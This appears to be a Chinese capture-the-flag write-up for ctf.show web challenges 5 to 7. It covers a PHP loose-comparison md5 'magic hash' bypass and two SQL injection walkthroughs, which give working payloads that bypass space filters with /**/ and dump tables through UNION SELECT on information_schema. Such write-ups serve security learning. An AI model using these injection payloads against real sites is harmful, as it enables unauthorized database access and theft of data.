web5
题目
分析
php 代码审计题,看看代码:
<?php
error_reporting(0); // 出错不报错
?>
<html lang="zh-CN"> // 中文语言
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1']; // get请求传入v1的值
$v2=$_GET['v2']; // get请求传入v2的值
if(isset($v1) && isset($v2)){ // 如果对v1和v2都传入了值
if(!ctype_alpha($v1)){ // 如果向v1传入的字符串中存在非字母字符
die("v1 error"); // 输出“v1 error”并退出脚本
}
if(!is_numeric($v2)){ // 如果向v2传入的不是数字或数字字符串
die("v2 error"); // 输出“v2 error”并退出脚本
}
if(md5($v1)==md5($v2)){ // 如果v1和v2的md5值在转换为相同类型后相等
echo $flag; // 输出flag
}
}else{
echo "where is flag?"; // 输出“where is flag?”
}
?>
</body>
</html>
源码对 v1 和 v2 的 md5 值进行松散比较。我们知道不同的明文计算出的 md5 值不可能相同,所以我们只能通过向 v1 传入字母字符串并向 v2 传入数字,使二者计算出的 md5 值转换为数字类型后相等即可。因为 php 会将“数字 + e
”开头的字符串解释为科学计数法表示的数字,即 AeB 表示为值 \(A×10^{B}\),那么以 0e
开头的数字将一律被解释为 0。根据这一特点找到符合条件的 v1 和 v2 进行哈希值碰撞即可。
payload:?v1=QNKCDZO&v2=240610708
。
参考
PHP弱类型比较(松散比较)方面的漏洞-日暮途远.-CSDN
常见的MD5碰撞:md5值为0e开头-烟雨天青色-CSDN
web6
题目
分析
又是一道 sql 注入题,尝试万能密码 admin' or 1=1 #
注入用户名,密码随意,得到回显:
看来被过滤了,尝试了多种万能密码都得到相同的回显。
多次尝试绕过后,发现存在空格过滤,我们通过 admin'/**/or/**/1=1/**/#
完全替代空格对空格进行绕过:
之后的操作类似于 web2,我们从 admin'/**/or/**/1=1/**/order/**/by/**/10#
开始递减,尝试到 admin'/**/or/**/1=1/**/order/**/by/**/3#
时得到回显,说明该表的字段数为 3:
我们再向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#
,在第 2 个字段得到回显:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
,得到数据库名为 web2:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3#
,得到 web2 的表名 flag 和 user:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#
,得到字段名 flag:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
,得到 flag 内容。
参考
千方百技第六期|MySQL注入绕过思路分享-安全玻璃盒_杭州孝道科技-FreeBuf网络安全行业门户
ctfshow_WriteUp | WEB-Guanz-博客园
web7
题目
分析
依次点击查看三篇文章,发现 url 分别为 index.php?id=1
index.php?id=2
index.php?id=3
:
尝试将 id 值改为 10000 和 -1,页面正常显示,猜测对 id 的值存在 sql 注入:
使用万能密码,对 id 传入值 ?id=1 or 1=1
,发现存在过滤:
不会又是过滤空格吧?试试:
(邪魅一笑
查查字段数。还是从 ?id=1/**/or/**/1=1/**/order/**/by/**/10
开始递减,尝试到 ?id=1/**/or/**/1=1/**/order/**/by/**/3
时显示三篇文章内容,说明该表的字段数为 3:
看看回显位置。传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,2,3
,在字段 2、3 的位置均得到回显:
我们选择向字段 2 的位置进行注入。传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,database(),3
,得到数据库名为 web7:
向 id 继续传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3
,得到 web7 的三个表名 flag,page,user:
这里的 table_schema 赋为 'web7' 时无法显示,需要用双引号包裹,猜测是存在单引号过滤。
向 id 传入值 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3
,得到字段名 flag:
继续传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
,得到 flag 内容。